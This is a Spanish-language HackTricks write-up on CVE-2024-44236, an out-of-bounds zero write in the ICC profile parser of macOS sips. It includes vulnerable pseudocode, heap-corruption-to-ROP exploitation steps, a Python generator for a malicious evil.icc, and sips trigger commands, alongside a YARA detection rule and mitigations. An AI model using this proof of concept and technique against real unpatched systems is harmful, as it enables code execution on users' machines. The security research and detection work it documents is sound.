WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)

Reading time: 6 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Overview

Una vulnerabilidad de escritura cero fuera de límites en el analizador de perfiles ICC de Apple macOS Scriptable Image Processing System (sips) (macOS 15.0.1, sips-307) permite a un atacante corromper los metadatos del heap y pivotar el primitivo hacia una ejecución de código completa. El error se encuentra en el manejo del campo offsetToCLUT de las etiquetas lutAToBType (mAB ) y lutBToAType (mBA ). Si los atacantes establecen offsetToCLUT == tagDataSize, el analizador borra 16 bytes más allá del final del buffer del heap. La pulverización del heap permite al atacante poner a cero las estructuras del asignador o punteros de C++ que luego serán desreferenciados, lo que da lugar a una cadena de escritura arbitraria a ejecución (CVE-2024-44236, CVSS 7.8).

Apple corrigió el error en macOS Sonoma 15.2 / Ventura 14.7.1 (30 de octubre de 2024). Una segunda variante (CVE-2025-24185) fue corregida en macOS 15.5 y iOS/iPadOS 18.5 el 1 de abril de 2025.

Vulnerable Code

c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0;            // no bounds check vs allocated size!
}

Pasos de Explotación

  1. Crear un perfil .icc malicioso
  • Configurar un encabezado ICC mínimo (acsp) y agregar una etiqueta mAB (o mBA ).
  • Configurar la tabla de etiquetas para que offsetToCLUT sea igual al tamaño de la etiqueta (tagDataSize).
  • Colocar datos controlados por el atacante justo después de la etiqueta para que las 16 escrituras en cero se superpongan con los metadatos del asignador.
  1. Activar el análisis con cualquier operación de sips que toque el perfil
bash
# ruta de verificación (no se necesita archivo de salida)
sips --verifyColor evil.icc
# o implícitamente al convertir imágenes que incrustan el perfil
sips -s format png payload.jpg --out out.png
  1. Corrupción de metadatos de heap ➜ escritura arbitraria ➜ ROP En el asignador nano_zone por defecto de Apple, los metadatos para ranuras de 16 bytes viven inmediatamente después de la losa alineada de 0x1000. Al colocar la etiqueta del perfil al final de tal losa, las 16 escrituras en cero sobrescriben meta->slot_B. Después de un free subsiguiente, el puntero envenenado se encola en la lista de libres pequeños, permitiendo al atacante asignar un objeto falso en una dirección arbitraria y sobrescribir un puntero de vtable de C++ utilizado por sips, finalmente pivotando la ejecución a una cadena ROP almacenada en el búfer ICC malicioso.

Generador de PoC rápido (Python 3)

python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))

Regla de detección YARA

yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author       = "HackTricks"
strings:
$magic = { 61 63 73 70 }          // 'acsp'
$mab   = { 6D 41 42 20 }          // 'mAB '
$mba   = { 6D 42 41 20 }          // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10):           // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}

Impacto

Abrir o procesar un perfil ICC diseñado lleva a la ejecución remota de código arbitrario en el contexto del usuario que lo invoca (Vista previa, QuickLook, renderizado de imágenes en Safari, archivos adjuntos de Mail, etc.), eludiendo Gatekeeper porque el perfil puede estar incrustado dentro de imágenes de otro modo benignas (PNG/JPEG/TIFF).

Detección y Mitigación

  • ¡Parchea! Asegúrate de que el host esté ejecutando macOS ≥ 15.2 / 14.7.1 (o iOS/iPadOS ≥ 18.1).
  • Despliega la regla YARA anterior en gateways de correo electrónico y soluciones EDR.
  • Elimina o sanitiza los perfiles ICC incrustados con exiftool -icc_profile= -overwrite_original <file> antes de procesar archivos no confiables.
  • Refuerza Vista previa/QuickLook ejecutándolos dentro de VMs "de transparencia y modernización" en sandbox al analizar contenido desconocido.
  • Para DFIR, busca la ejecución reciente de sips --verifyColor o cargas de la biblioteca ColorSync por aplicaciones en sandbox en el registro unificado.

Referencias

  • Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
  • Apple security updates HT213981 “About the security content of macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks